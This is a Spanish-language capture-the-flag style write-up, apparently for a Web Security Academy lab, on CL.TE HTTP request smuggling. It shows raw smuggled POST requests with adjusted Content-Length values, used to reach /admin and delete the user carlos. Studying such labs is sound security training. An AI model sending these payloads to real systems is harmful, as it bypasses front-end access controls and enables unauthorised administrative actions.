Skip to content

20260129232846.png

LAB

Entendiendo que el frontend soporta content-length y el back transfer-encoding procedemos a crear o configurar nuestra solicitud.

Procedemos a contabilizar nuestros valores:

El content-length en totalidad de la data es de 68.

20260129235241.png

Para el segundo, es un total de 11. El segundo Content-Length es necesario para que la solicitud sea correctamente enviada.

20260129235311.png

Por lo que nuestra solicitud final quedaría de la siguiente manera:

c
POST / HTTP/1.1
Host: 0a50006704d99587818ddef300a90026.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Transfer-Encoding: chunked

0

POST / HTTP/1.1
X-Ignore: X
Content-Length: 11

search=test

Pero para poder enviar nuestra solicitud y desincronizar, es necesario inflar o agregar bits extra. Teniendo finalmente nuestra solicitud de la siguiente manera.

c
POST / HTTP/1.1
Host: 0a50006704d99587818ddef300a90026.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Transfer-Encoding: chunked

0

POST / HTTP/1.1
X-Ignore: X
Content-Length: 15

search=test

Luego de inflar el segundo content-length procedemos a enviar la request. Luego podemos observar que existe una segunda solicitud en la que se incrusta en la solicitud maliciosa debido a que se agrego bits adicionales y se esta desincronizando correctamente.

20260129235342.png

Agregaremos 50 y procederemos a enviar.

c
POST / HTTP/1.1
Host: 0a50006704d99587818ddef300a90026.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Transfer-Encoding: chunked

0

POST / HTTP/1.1
X-Ignore: X
Content-Length: 50

search=test

Observamos la cabecera que es necesaria para poder enviar o acceder a /admin y que debemos considerar en nuestra solicitud.

20260129235738.png

Por lo que considerando estos cambios y calculando el numero de bits necesarios para el content-length podemos configurar nuestra solicitud maliciosa.

20260130000108.png

Procederemos a enviar la solicitud a la ruta /admin

20260130000141.png

Podemos observar que logramos ver el panel de administración. Para eliminar al usuario carlos, debemos enviar una solicitud a /admin/delete?username=carlos

20260130000212.png

Procederemos a configurar con el content-length correctamente y procederemos a enviar la solicitud.

20260130000259.png

Al enviar podemos observar que este solicitud se ejecuto correctamente.

20260130000316.png

Y ahora podemos verificar los usuarios, en los cuales no vemos al usuario carlos.

20260130000345.png